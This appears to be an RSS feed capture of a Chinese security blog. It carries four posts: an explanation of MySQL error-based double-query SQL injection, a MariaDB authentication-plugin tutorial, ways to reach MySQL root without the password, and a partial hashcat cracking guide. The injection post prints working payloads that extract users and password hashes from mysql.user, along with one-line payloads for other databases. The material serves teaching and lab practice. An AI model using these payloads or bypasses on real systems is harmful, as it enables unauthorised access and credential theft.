Mysql – 若水斋 https://blog.werner.wiki Try harder Sat, 20 Apr 2019 02:02:17 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg Mysql – 若水斋 https://blog.werner.wiki 32 32 Mysql中Double Injection原理浅析 https://blog.werner.wiki/principle-of-double-injection-in-mysql/ https://blog.werner.wiki/principle-of-double-injection-in-mysql/#respond Sun, 14 Apr 2019 07:59:11 +0000 https://blog.werner.wiki/?p=531 0x00 什么是Double Injection

这个定义是我自己下的,读起来很拗口。如果不能理解这个定义请先暂时跳过:

Double Injection(双查询注入)是一种利用Mysql在按含rand函数的列分组(group by)并计数(count)的情况下创建临时表后,查询临时表中分组键(group_by)是否存在和向临时表插入新行时均计算rand函数返回值的特性,通过巧妙地构造SQL语句,将有用信息显示在SQL报错信息中的SQL注入技术。

在SQL注入中有时会遇到这样的情况:若SQL语句正确,则页面正常返回,但返回的页面中不包含任何有用的信息,而当SQL语句错误时,页面会显示SQL错误信息。在这种情况下,Double Injection是十分有用的。

0x01 Double Injection的原理

0. concat函数

在Mysql中,concat函数用于拼接字符串,如:

mysql> select concat('1', '<-');
+-------------------+
| concat('1', '<-') |
+-------------------+
| 1<-               |
+-------------------+
1 row in set (0.00 sec)

也可以拼接查询结果,如:

mysql> select concat('->', (select database()), '<-');
+-----------------------------------------+
| concat('->', (select database()), '<-') |
+-----------------------------------------+
| ->information_schema<-                  |
+-----------------------------------------+
1 row in set (0.00 sec)

1. rand函数

在Mysql中,rand函数用于返回一个0到1之间的随机数,包含0不包含1,用高数的表示方法便是:[0, 1)。如:

mysql> select rand();
+-------------------+
| rand()            |
+-------------------+
| 0.847016541144826 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand();
+------------------+
| rand()           |
+------------------+
| 0.08670779791354 |
+------------------+
1 row in set (0.00 sec)

rand函数接受一个整数参数作为随机数的种子。当种子固定时,产生的随机数(随机数列)也是固定的。如:

mysql> select rand(0);
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)

上面的例子是产生的随机数固定,下面的例子是产生的随机数数列固定:

mysql> select rand(0) from information_schema.columns limit 3;
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
| 0.620881741513388 |
| 0.638747455215778 |
+-------------------+
3 rows in set (0.01 sec)

mysql> select rand(0) from information_schema.columns limit 3;
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
| 0.620881741513388 |
| 0.638747455215778 |
+-------------------+
3 rows in set (0.01 sec)

information_schema是系统模式,所有Mysql数据库中都会有这个模式,columns是其中的一个表,记录了所有数据表的列信息。这里只是随便举一个随机数列的例子,如果你不明白information_schema.columns也不要紧,只要知道是从某个有很多行的表中查询数据就可以了。

2. floor函数

Mysql中floor函数是取下整函数,接受一个float型参数,返回小于等于输入参数的最大整数。如:

mysql> select floor(1.4);
+------------+
| floor(1.4) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.0);
+------------+
| floor(1.0) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.4);
+------------+
| floor(0.4) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

3. 产生随机整数

在Double Injection中我们会综合利用rand函数和floor函数产生范围为[0, 1]的整数随机数,如:

mysql> select floor(rand(14)*2) from information_schema.columns limit 5;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
|                 1 |
|                 0 |
|                 1 |
|                 0 |
|                 0 |
+-------------------+
5 rows in set (0.00 sec)

以14作为rand函数的参数,以使每次产生的随机数列相同。rand(14)乘了2,将产生的随机数范围放大到了[0, 2),最后floor函数的作用是将结果限定在0和1这两个整数之中。

以14为随机数种子时产生的随机整数数列的前四位为:

1,0,1,0

这是特意选择的,详见后文。

4. count函数

在Mysql中,count函数用于计数,通常用于统计行数。如:

mysql> select count(*) from information_schema.columns;
+----------+
| count(*) |
+----------+
|      546 |
+----------+
1 row in set (0.02 sec)

5. group by语句

group by column_name表示用column_name列对查询结果进行分组。下面是某个SQL语句没有分组时的输出:

mysql> select table_schema, table_name from information_schema.tables;
+--------------------+---------------------------------------+
| table_schema       | table_name                            |
+--------------------+---------------------------------------+
| information_schema | CHARACTER_SETS                        |
| information_schema | COLLATIONS                            |
| information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| information_schema | COLUMNS                               |
| information_schema | COLUMN_PRIVILEGES                     |
| information_schema | ENGINES                               |
| information_schema | EVENTS                                |
| information_schema | FILES                                 |
| information_schema | GLOBAL_STATUS                         |
| information_schema | GLOBAL_VARIABLES                      |
| information_schema | KEY_COLUMN_USAGE                      |
| information_schema | PARTITIONS                            |
| information_schema | PLUGINS                               |
| information_schema | PROCESSLIST                           |
| information_schema | PROFILING                             |
| information_schema | REFERENTIAL_CONSTRAINTS               |
| information_schema | ROUTINES                              |
| information_schema | SCHEMATA                              |
| information_schema | SCHEMA_PRIVILEGES                     |
| information_schema | SESSION_STATUS                        |
| information_schema | SESSION_VARIABLES                     |
| information_schema | STATISTICS                            |
| information_schema | TABLES                                |
| information_schema | TABLE_CONSTRAINTS                     |
| information_schema | TABLE_PRIVILEGES                      |
| information_schema | TRIGGERS                              |
| information_schema | USER_PRIVILEGES                       |
| information_schema | VIEWS                                 |
| challenges         | 62S77J251S                            |
| my_test            | user                                  |
| mysql              | columns_priv                          |
| mysql              | db                                    |
| mysql              | event                                 |
| mysql              | func                                  |
| mysql              | general_log                           |
| mysql              | help_category                         |
| mysql              | help_keyword                          |
| mysql              | help_relation                         |
| mysql              | help_topic                            |
| mysql              | host                                  |
| mysql              | ndb_binlog_index                      |
| mysql              | plugin                                |
| mysql              | proc                                  |
| mysql              | procs_priv                            |
| mysql              | servers                               |
| mysql              | slow_log                              |
| mysql              | tables_priv                           |
| mysql              | time_zone                             |
| mysql              | time_zone_leap_second                 |
| mysql              | time_zone_name                        |
| mysql              | time_zone_transition                  |
| mysql              | time_zone_transition_type             |
| mysql              | user                                  |
| security           | emails                                |
| security           | referers                              |
| security           | uagents                               |
| security           | users                                 |
+--------------------+---------------------------------------+
57 rows in set (0.00 sec)

下面时加上group by table_schema后的输出:

mysql> select table_schema, table_name from information_schema.tables group by table_schema;
+--------------------+----------------+
| table_schema       | table_name     |
+--------------------+----------------+
| challenges         | 62S77J251S     |
| information_schema | CHARACTER_SETS |
| mysql              | columns_priv   |
| my_test            | user           |
| security           | emails         |
+--------------------+----------------+
5 rows in set (0.00 sec)

可以看到输出有了很大不同,只显示了不重复的table_schema,而table_name则只显示了同样table_schema中的第一个。

6. count 和 group by

count和group by常常配合使用,例如下面的例子显示了如何统计各个模式中各有多少个数据表:

mysql> select table_schema, count(*) from information_schema.tables group by table_schema;
+--------------------+----------+
| table_schema       | count(*) |
+--------------------+----------+
| challenges         |        1 |
| information_schema |       28 |
| mysql              |       23 |
| my_test            |        1 |
| security           |        4 |
+--------------------+----------+
5 rows in set (0.00 sec)

我们猜测在做这样的统计时,Mysql会建立一张临时表,有group_key和tally两个字段,其中group_key设置了UNIQUE约束,即不能有两行的group_key列的值相同。

开始时临时表为空。Mysql逐行扫描information_schema.tables表,遇到的第一个分组列(table_schema)值为information_schema,便去查询临时表中是否有group_key为information_schema的行,发现没有,便在临时表中新增一行,group_key为information_schema,tally为1。临时表现在成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| information_schema |     1 |
+--------------------+-------+

Mysql继续扫描information_schema.tables表,遇到的第二个分组列(table_schema)的值还是information_schema,去查询临时表中是否有group_key为information_schema的行,发现有,于是将该行的tally加1。临时表变成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| information_schema |     2 |
+--------------------+-------+

Mysql继续扫描information_schema.tables表。省略一些中间过程,我们假设这次遇到的分组列(table_schema)的值是challenges,去查询临时表中是否有group_key为challenges的行,发现没有,便在临时表中新增一行,group_key为challenges,tally为1。临时表现在成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| information_schema |    28 |
| challenges         |     1 |
+--------------------+-------+

重复这个过程,直到Mysql扫描完information_schema.tables表,临时表变就成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| information_schema |    28 |
| challenges         |     1 |
| mysql              |    23 |
| my_test            |     1 |
| security           |     4 |
+--------------------+-------+

此时也就统计出了各个模式有多少数据表。

7. group by 的列含 rand 函数

现在来看看Double Injection的核心。先观察如下的SQL语句及执行结果:

mysql> select floor(rand(14)*2) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry '0' for key 'group_key'

上面的SQL语句中用列c分组,而列c是floor(rand(14)*2)的别名。

先回顾一下floor(rand(14)*2)产生的随机数列,前四位是:

1,0,1,0

然后我们来研究一下为何会报错。

在SQL语句中有count和group by,Mysql同样会先创建一张临时表,有设置了UNIQUE约束的group_key和tally两个字段。

创建好临时表后,Mysql开始逐行扫描information_schema.columns表,遇到的第一个分组列是floor(rand(14)*2),计算出其值为1,便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)*2),注意此时又计算了一次,结果为0。所以实际插入到临时表的一行group_key为0,tally为1,临时表变成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| 0                  |     1 |
+--------------------+-------+

Mysql继续扫描information_schema.columns表,遇到的第二个分组列还是floor(rand(14)*2),计算出其值为1(这个1是随机数列的第三个数),便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)*2),此时又计算了一次,结果为0(这个0是随机数列的第四个数),所以尝试向临时表插入一行数据,group_key为0,tally为1。但实际上临时表中已经有一行的group_key为0,而group_key又设置了不可重复的约束,所以报错:

ERROR 1062 (23000): Duplicate entry '0' for key 'group_key'

8. Double Injection

其实到这里我们已经完成了所有准备工作。只需要使用concat函数将想要查询的信息和floor(rand(14)*2)拼接在一起就可以了。如获取当前数据库:

mysql> select concat((select database()), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry 'information_schema0' for key 'group_key'

注意我们想要的信息在错误信息中。

再比如读Mysql数据库用户名:

mysql> select concat((select user from mysql.user limit 1), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry 'root0' for key 'group_key'

读Mysql数据库密码:

mysql> select concat((select password from mysql.user limit 1), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry '*9CFBBC772F3F6C106020035386DA5BBBF1249A110' for key 'group_key'

0x02 几点说明

0. 随机数种子非得是14吗?

不一定。当随机数种子是14时,有两列就可以触发错误。而当随机数种子是0时,最少需要3列才会触发错误,因为它产生的随机数列是:

mysql> select floor(rand(0)*2) from information_schema.column
s limit 6;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
+------------------+
6 rows in set (0.01 sec)

甚至可以不指定随机数种子,只要列数足够多,就一定会触发错误。

1. 为何要从information_schema.columns表读数据?

因为这个表总是存在的而且总是有很多很多列,这确保了一定能触发错误。

2. 这种注入为何要叫做Double Injection?

我没有找到相关资料。但观察一下Double Injection,有两个select,不是吗?

select concat((select user from mysql.user limit 1), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;

3. 哪里有Double Injection的实例?

Sqlilab的第五关和第六关。

4. 双重查询中没有可查的表怎么办?

自己构造一个表。如下:

mysql> select count(*) from (select 1 union select 2) temp group by concat(floor(rand(14)*2), (select user()));
ERROR 1062 (23000): Duplicate entry '0root@localhost' for key 'group_key'

5. 为何Mysql在查询临时表和插入临时表时要计算两次rand?

这是Mysql的一个BUG,其他数据库没有这个BUG,自然也就不能这么注入。

6. 利用这一BUG的注入还有其他写法吗?

第一种:

mysql> select count(*) from information_schema.columns group by concat(floor(rand(14)*2), (select user()));
ERROR 1062 (23000): Duplicate entry '0root@localhost' for key 'group_key'

第二种:

mysql> select min(@a:=1) from information_schema.columns group by concat((select user()), @a:=(@a+1)%2);
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'

7.还有其他函数可以引发这样的报错吗?

extractvalue

Mysql5.1引入了该函数。该函数用于从XML中提取值,接收两个参数,第一个参数是一个XML格式的字符串,第二个参数是有效的xPath,如:

mysql> select extractvalue('<a>123</a><b>456</b>', '/b');
+--------------------------------------------+
| extractvalue('<a>123</a><b>456</b>', '/b') |
+--------------------------------------------+
| 456                                        |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select extractvalue('<a>123</a><b>456</b>', '/a');
+--------------------------------------------+
| extractvalue('<a>123</a><b>456</b>', '/a') |
+--------------------------------------------+
| 123                                        |
+--------------------------------------------+
1 row in set (0.00 sec)

但第二个参数不是有效的xPath时就会报错,如:

mysql> select extractvalue(0, concat(0x5C, (select user())));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

updatexml

该函数同样在Mysql5.1中引入,作用是更新XML中特定节点的值,第一个参数为XML格式的字符串,第二个参数为xPath,第三个参数为要更新的值,如:

mysql> select updatexml('<a>123</a><b>456</b>', '/a/initial' , '789');
+---------------------------------------------------------+
| updatexml('<a>123</a><b>456</b>', '/a/initial' , '789') |
+---------------------------------------------------------+
| <a>123</a><b>456</b>                                    |
+---------------------------------------------------------+
1 row in set (0.00 sec)

同样当第二个参数不是有效的xPath时就会报错,如:

mysql> select updatexml(1,concat(0x5C,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

8. 其他数据库有办法实现类似的注入效果吗?

来自参考文献2:

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- 
MSSQL: /?param=1 and(1)=convert(int,@@version)-- 
Sybase: /?param=1 and(1)=convert(int,@@version)-- 
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

0x03 参考链接

  1. Double SQL Injection(双查询注入)
  2. 详解SQL盲注测试高级技巧
]]>
https://blog.werner.wiki/principle-of-double-injection-in-mysql/feed/ 0
编写一个简单的MariaDB认证插件 https://blog.werner.wiki/write-a-simple-mariadb-auth-plugin/ https://blog.werner.wiki/write-a-simple-mariadb-auth-plugin/#respond Sun, 06 May 2018 11:06:16 +0000 http://blog.werner.wiki/?p=418 概述

不知从哪天起,大家都不用Mysql转而使用MariaDB了。

众所周知(其实可能很多人不知道)MariaDB支持插件认证。在MariaDB中新建用户,常见的语句是:

CREATE USER 'username'@'host' IDENTIFIED BY 'password';

这样创建的用户,登录时的认证方式是密码。其实创建用户的语句还可以是:

CREATE USER 'username'@'host' IDENTIFIED VIA 'pluginname' USING 'authstring';

这样创建的用户,登录时的认证方式由插件决定。

本文展示了编写一个简单的MariaDB认证插件的全过程。实现的认证机制是用户输入正确的姓名学号即可登录。显然这一认证机制毫无安全性可言,本文重点在于展示插件编写过程。

本文内容基于MariaDB-10.1.8,操作系统是Ubuntu12.04。假设已经安装好了数据库。

基本原理

一个认证插件分为两部分,服务器侧和客户端侧,两者配合,才能完成整个认证过程。最常见的认证情景是服务器侧提问,客户端侧回答。

MariaDB提供了一个通用的客户端侧“dialog”,该客户端侧的功能是接收服务器侧的问题,将问题显示在终端上,并在终端上读取待登录用户的回答,之后将回答发送给服务器侧。它支持不限个数的问答,还支持普通问题和密码问题两种问题,普通问题在待登录用户输入回答时是有回显的,密码问题在待登录用户输入回答时是没有回显的。由于最后一个问题需要特殊处理,所以实际上有四种类型的问题。问题字符串的第一个字节是问题类型,宏定义如下:

    /* mysql/auth_dialog_client.h */
    #define ORDINARY_QUESTION       "\2"
    #define LAST_QUESTION           "\3"
    #define PASSWORD_QUESTION       "\4"
    #define LAST_PASSWORD           "\5"

由于我们想要编写一个简单的认证插件,所以简单起见,客户端侧就使用“dialog”,完全满足要求。这样,我们便只用编写服务器侧部分。

服务器侧部分要做的事情便是与客户端侧的“dialog”通讯,读取输入的姓名学号进行验证。具体实现见下节。

编写代码

套路部分

认证插件的套路如下:

    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <mysql/plugin_auth.h>
    #include <mysql/auth_dialog_client.h>

    static int school_number_auth(MYSQL_PLUGIN_VIO *vio, MYSQL_SERVER_AUTH_INFO *info)
    {
        /* 该函数是实际上进行认证的地方,
           认证通过返回CR_OK,
           认证失败返回CR_ERROR; */
    }

    static struct st_mysql_auth my_auth_plugin=
    {
        MYSQL_AUTHENTICATION_INTERFACE_VERSION, // 插件的接口版本号
        "dialog", // 客户端侧处理函数,我们直接使用了“dialog”,也可以自定义
        school_number_auth // 服务器侧处理函数
    };

    mysql_declare_plugin(dialog)
    {
        MYSQL_AUTHENTICATION_PLUGIN, // 插件类型
        &my_auth_plugin, // 插件结构体指针
        "school_number", // 插件名
        "Werner", // 作者
        "A simple MariaDB auth plugin", // 描述
        PLUGIN_LICENSE_GPL, // 许可证书
        NULL,
        NULL,
        0x0100,
        NULL,
        NULL,
        NULL,
        0,
    }
    mysql_declare_plugin_end;

mysql_declare_plugin声明了一个插件,其中写明了插件名、插件类型、作者、描述和许可证书等信息,
最重要的是插件结构体指针“&my_auth_plugin”。

插件结构体指针“&my_auth_plugin”指向插件结构体“my_auth_plugin”,该结构体中写明了客户端侧处理函数和服务器侧处理函数。在我们编写的插件中,客户端侧处理函数直接写字符串”dialog”,表示使用MariaDB提供的通用客户端侧“dialog”,服务器侧处理函数school_number_auth是实际上进行认证的地方,认证通过返回CR_OK,认证失败返回CR_ERROR。CR_OK和CR_ERROR宏定义如下:

    /* mysql/plugin_auth_common.h */
    #define CR_ERROR 0
    #define CR_OK -1

我们只需要完善函数school_number_auth即可。

认证部分

在这一小节中,我们将完善函数school_number_auth。

首先看该函数的两个参数“MYSQL_PLUGIN_VIO *vio”和“MYSQL_SERVER_AUTH_INFO *info”。

“MYSQL_PLUGIN_VIO”中的“VIO”的含义是虚拟输入输出,它的定义如下所示:

    /* mysql/plugin_auth.h.pp */
    typedef struct st_plugin_vio
    {
      int (*read_packet)(struct st_plugin_vio *vio,
                         unsigned char **buf);
      int (*write_packet)(struct st_plugin_vio *vio,
                          const unsigned char *packet,
                          int packet_len);
      void (*info)(struct st_plugin_vio *vio, struct st_plugin_vio_info *info);
    } MYSQL_PLUGIN_VIO;

可以看到它是一个结构体,成员都是函数指针。

顾名思义,函数*read_packet是虚拟的读,从vio中读取以“\0”结尾的字符串,返回读取到的字符串长度。这个读操作是阻塞读。

*write_packet是虚拟的写,向vio中写入一个字符串,需要指定写入长度。同样,写操作是阻塞写。

“MYSQL_SERVER_AUTH_INFO”的定义如下:

    /* mysql/plugin_auth.h.pp */
    typedef struct st_mysql_server_auth_info
    {
      char *user_name; // 客户端发送的用户名
      unsigned int user_name_length; // 客户端发送的用户名长度
      const char *auth_string; // 在mysql.user表中记录的相应账户的authentication_string
      unsigned long auth_string_length; // authentication_string长度
      char authenticated_as[512 +1]; // 代理用户名,传入时为user_name,可设置
      char external_user[512 +1]; // 系统变量external_user显示的值,待设置
      int password_used; // 是否使用密码,待设置
      const char *host_or_ip; // 主机或IP
      unsigned int host_or_ip_length; // 主机或IP的长度
    } MYSQL_SERVER_AUTH_INFO;

由上述定义可知在“MYSQL_SERVER_AUTH_INFO”中可以取到“user_name”和“auth_string”这样的关键字符串。

“password_used”的含义是“是否使用密码”,当认证出错时,报错信息的后面有“Password used: Yes/No”,显示“Yes”还是“No”就由“password_used”决定。默认为“No”,若想保存信息中显示“Yes”,可在school_number_auth函数中设置“password_used”,代码片段如下:

info->password_used= PASSWORD_USED_YES;

明白传入参数的含义后很容易就可以写出school_number_auth函数,其内容如下:

    static int school_number_auth(MYSQL_PLUGIN_VIO *vio, MYSQL_SERVER_AUTH_INFO *info)
    {
        int pkt_len;
        unsigned char *pkt;

        if (vio->write_packet(vio, (const unsigned char *) ORDINARY_QUESTION "Please enter your name: ", 26))
            return CR_ERROR;

        if ((pkt_len= vio->read_packet(vio, &pkt)) < 0)
            return CR_ERROR;

        if (strcmp((const char *) pkt, info->user_name))
            return CR_ERROR;

        if (vio->write_packet(vio, (const unsigned char *) LAST_QUESTION "Please enter your school number: ", 35))
            return CR_ERROR;

        if ((pkt_len= vio->read_packet(vio, &pkt)) < 0)
            return CR_ERROR;

        if (strcmp((const char *) pkt, info->auth_string))
            return CR_ERROR;

        return CR_OK;
    }

至此,我们就完成了认证插件的代码编写,将其保存到文件my_auth_plugin.c中,然后进入到下一节。

编译安装

编译

插件的代码写好后按如下命令编译:

gcc $(mysql_config --cflags) -shared -fPIC -DMYSQL_DYNAMIC_PLUGIN -o my_auth_plugin.so my_auth_plugin.c

参数“-DMYSQL_DYNAMIC_PLUGIN”是必不可少的,否则编译的时候不会报错,但在MariaDB中执行“INSTALL PLUGIN”时会报如下错误:

ERROR 1127 (HY000): Can't find symbol '_mysql_plugin_interface_version_' in library

另外一种常见的错误是找不到头文件:

#include <mysql/plugin_auth.h>
#include <mysql/auth_dialog_client.h>

解决方法是安装相关开发包引入需要的头文件,命令是:

sudo rpm -ivh MariaDB-devel-5.2.9-102.el5.x86_64.rpm

sudo apt-get install libmariadbclient-dev

其实不执行上述命令,将MariaDB安装路径下的inculde目录加入到gcc的头文件搜索路径中也可以解决头文件缺失问题。

编译成功后得到my_auth_plugin.so。

复制

编译得到.so文件后需要将.so文件复制到MariaDB的插件目录中。进入MariaDB,用如下语句查询插件目录:

MariaDB [(none)]> SHOW VARIABLES LIKE 'plugin_dir';
+---------------+------------------------------+
| Variable_name | Value                        |
+---------------+------------------------------+
| plugin_dir    | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+
1 row in set (0.00 sec)

将my_auth_plugin.so复制到MariaDB的插件目录中:

sudo cp my_auth_plugin.so /usr/local/mysql/lib/plugin/

复制完成后最好修改my_auth_plugin.so的所有者为运行MariaDB的用户,该用户名一般是mysql,命令如下:

sudo chown mysql /usr/local/mysql/lib/plugin/my_auth_plugin.so

安装

只是将.so文件复制到MariaDB的插件目录中还不够,还需要在MariaDB中安装插件,语句如下:

MariaDB [(none)]> INSTALL PLUGIN school_number SONAME 'my_auth_plugin.so';
Query OK, 0 rows affected (0.00 sec)

“school_number”是插件名,定义在mysql_declare_plugin中,my_auth_plugin.so是.so文件名,不要混淆。

有安装就有卸载,如何卸载呢?语句如下:

MariaDB [(none)]> UNINSTALL PLUGIN school_number;
Query OK, 0 rows affected (0.00 sec)

先不要执行卸载语句,或是卸载后重新安装,后面还要用到这个插件。

使用插件

先创建一个使用该插件认证登录的用户,语句如下:

MariaDB [(none)]> CREATE USER 'werner'@'localhost' IDENTIFIED VIA 'school_number' USING 'M201434212';
Query OK, 0 rows affected (0.00 sec)

退出MariaDB后以werner用户登录,可以看到确实使用了插件认证方式,具体过程如下图所示。

插件认证方式登录过程截图

源码下载

可以在这里下载到源码。(其实文中已经出现了全部源码。)

参考文献

  1. MySQL 5.5 Reference Manual
  2. Writing a MariaDB PAM Authentication Plugin
  3. MySQLPlugin之如何编写Auth Plugin
]]>
https://blog.werner.wiki/write-a-simple-mariadb-auth-plugin/feed/ 0
Linux中不知道密码登录Mysql https://blog.werner.wiki/mysql-no-password-login/ https://blog.werner.wiki/mysql-no-password-login/#respond Mon, 18 Sep 2017 09:56:08 +0000 http://blog.werner.wiki/?p=328 Linux中不知道Mysql的root账户的登录密码该如何登录Mysql?
下面提供两种方式:一是使用skip-grant-tables跳过密码验证,二是修改存储在磁盘上的root账户的登录密码的Hash值。

测试环境:Ubuntu14.04 + Mysql5.5.57。

skip-grant-tables

顾名思义,“skip-grant-tables”是跳过授权表,不用密码便可以root身份登录,具有完全的root用户权限,可以修改root密码。

在网上找到一些文章,说停止Mysql服务后以“–skip-grant-tables”为参数启动Mysql便可以免密码登录,但在我的测试中,这种方式是无效的。有效的方法是在Mysql的配置文件中添加“skip-grant-tables”,再重启Mysql,之后便可以免密码登录。

在Linux中,Mysql的配置文件是my.cnf,它位于/etc/my.cnf或是/etc/mysql/my.cnf等,具体在哪,取决于Linux发行版本和Mysql安装方式。打开my.cnf,搜索“[mysqld]”,在这行下面添加一行,内容为:“skip-grant-tables”,如下图所示:

修改my.cnf文件

添加完成后重启Mysql服务,在我的测试环境中,用如下命令重启Mysql服务:

    sudo /etc/init.d/mysql restart

此时再登录Mysql,便不需要密码了,如下图所示:

无密码登录Mysql

修改root用户密码Hash值

Linux中,Mysql用户密码以Hash值的形式存储在文件user.MYD中,可用如下命令找到该文件位置:

  sudo find / -name user.MYD

查看该文件同样需要sudo权限,用cat命令查看该文件内容如下图所示:

可以看到该文件中有许多长得很像Hash值的东西。我们自己计算一个已知的字符串的Hash值,替换掉该文件中的Hash值,便可以达到修改root密码的目的。

这里有一个问题,Mysql在保存用户密码时使用了什么Hash算法?简单谷歌一下便知道,使用的算法如下:

  mysql> select concat('*',sha1(unhex(sha1('toor'))));
  +-------------------------------------------+
  | concat('*',sha1(unhex(sha1('toor'))))     |
  +-------------------------------------------+
  | *9cfbbc772f3f6c106020035386da5bbbf1249a11 |
  +-------------------------------------------+
  1 row in set (0.00 sec)

基本上是做了两次sha1,再在所得字符串前加上“*”,只不过在两次sha1中间还有一个unhex函数,
该函数的作用是将每对十六进制数字转化为一个字符,如unhex(‘616263’)的输出为“abc”。

此外,Mysql有内置函数password,可直接计算密码的Hash值:

    mysql> select password('toor');
    +-------------------------------------------+
    | password('toor')                          |
    +-------------------------------------------+
    | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
    +-------------------------------------------+
    1 row in set (0.00 sec)

好了,现在用“9cfbbc…1”替换user.MYD文件中的“6B8252…B”,保存后尝试用密码“toor”登录Mysql的root用户,登录失败!
推测Mysql对该文件有所缓存,故重启Mysql,再次尝试用“toor”登录Mysql的root用户,这次成功登录。

参考文献

]]>
https://blog.werner.wiki/mysql-no-password-login/feed/ 0
使用hashcat爆破各种hash https://blog.werner.wiki/use-hashcat-crack-all-kinds-of-hash/ https://blog.werner.wiki/use-hashcat-crack-all-kinds-of-hash/#comments Thu, 27 Jul 2017 08:20:01 +0000 http://blog.werner.wiki/?p=247 零、背景知识

1.hash函数

hash函数是一类函数的统称,这类函数的输入是任意的二进制数据,输出是固定长度的二进制数据,这类函数具有如下特点:

  • 单向性:由输入计算得到输出是简单迅速的,而由输出反推出输入在数学上讲是不可行的
  • 碰撞约束:寻找到两个不同的输入,具有相同的输出是极为困难的

满足这些特点的函数均可称为hash函数。将某数据作为hash函数的输入,计算得到输出,习惯上将这一输出称为该数据的hash值。

hash函数的一大作用便是安全地存储密码,不直接保存密码(也就是不存储明文的密码),而是保存密码的hash值,验证时只需再次计算输入的密码的hash值,与保存的密码的hash值相比较便可得知密码是否正确。由于hash函数的单向性与碰撞约束的特点,攻击者即使拿到了密码的hash值,也难以知道密码本身。

2.hashcat

攻击者拿到了密码的hash值,真的没有办法知道密码本身吗?当然不是,虽然由密码的hash值直接计算密码本身从数学上讲就是不可行的,但我们知道hash函数由输入计算得到输出是简单迅速的,大不了可以试嘛,人类可能设置的密码也就那些,一个一个地试,运气好还是可以试出来的。通过不断尝试获得hash值对应的输入的操作就被称做爆破

基于这样的思路,hashcat应运而生,据说hashcat的诞生就是为了证明爆破hash是很简单的事。hashcat自称是世界上最快的hash爆破工具,它甚至支持GPU和FGPA,如果你有的话。这里有两篇文章讲解如何用GPU快速爆破hash:

是两篇英文文章,这么好的文章自然已经有人翻译成中文了,分别在这里这里。hashcat不仅速度快,而且专业支持两百多种hash函数,使用命令:

    hashcat --help

可以看到hashcat支持的所有hash函数的列表,太多了我这里就不贴出来了。

Kali中默认安装了hashcat,可直接使用。但我的Kali安装在VirtualBox中,总觉得虚拟机会慢一些,所以想要在物理主机中使用hashcat。先到hashchat的官网下载hashcat,截止目前,最新版是v3.5.0,发布于2017.04.05,从更新日期可见hashchat是充满活力的。免去编译的麻烦,直接下载二进制包,只有2.7M,与动辄几十G的游戏相比是很小的。

下载完成后解压hashcat-3.5.0.7z,看到有:

  • hashcat32.bin
  • hashcat32.exe
  • hashcat64.bin
  • hashcat64.exe

这样的文件,分别是32位和64位下的linux中和windows中的可执行文件,按自己电脑的情况选择其中之一即可。我选择的是hashcat64.bin,为漂亮起见,在~/.bashrc文件中添加一行:

  alias hashcat='hashcat64.bin的路径'

保存后重新打开虚拟终端,使~/.bashrc文件生效,这样,无论在哪,直接输入hashcat命令就可以了,不用切换目录,也不用输入输入难看的“64.bin”,如下图所示。

好了,现在可以开始使用hashcat爆破各种hash了。

一、爆破md5

md5应该是最著名、使用最为广泛的hash函数之一了。先用Python生成几个md5值用于爆破,代码如下:

  import hashlib
  passwords = ['123123', 'bond007', 'xxxxxx', '*H@&(NT*@BR#^']
  for password in passwords:
    md5 = hashlib.md5()
    md5.update(password)
    print md5.hexdigest()

以上代码分别计算了四个字符串的hash值,输出的结果是:

  4297f44b13955235245b2497399d7a93
  cbdb7e2b1ed566ceb796af2df07205a3
  dad3a37aa9d50688b5157698acfd7aee
  d77db958c179bbffae04b2b908b75c26

将输出结果保存在文件md5.hash中,一行一个hahs值。然后用hashcat爆破这几个hash值,命令如下:

  hashcat -w 3 -a 0 -m 0 --remove -o md5.out md5.hash wordlist.dic

参数-w用于指定工作模式,共有四种,如下表所示:

N Performance Runtime Power Consumption Desktop Impact
1 Low 2 ms Low Minimal
2 Default 12 ms Economic Noticeable
3 High 96 ms High Unresponsive
4 Nightmare 480 ms Insane Headless

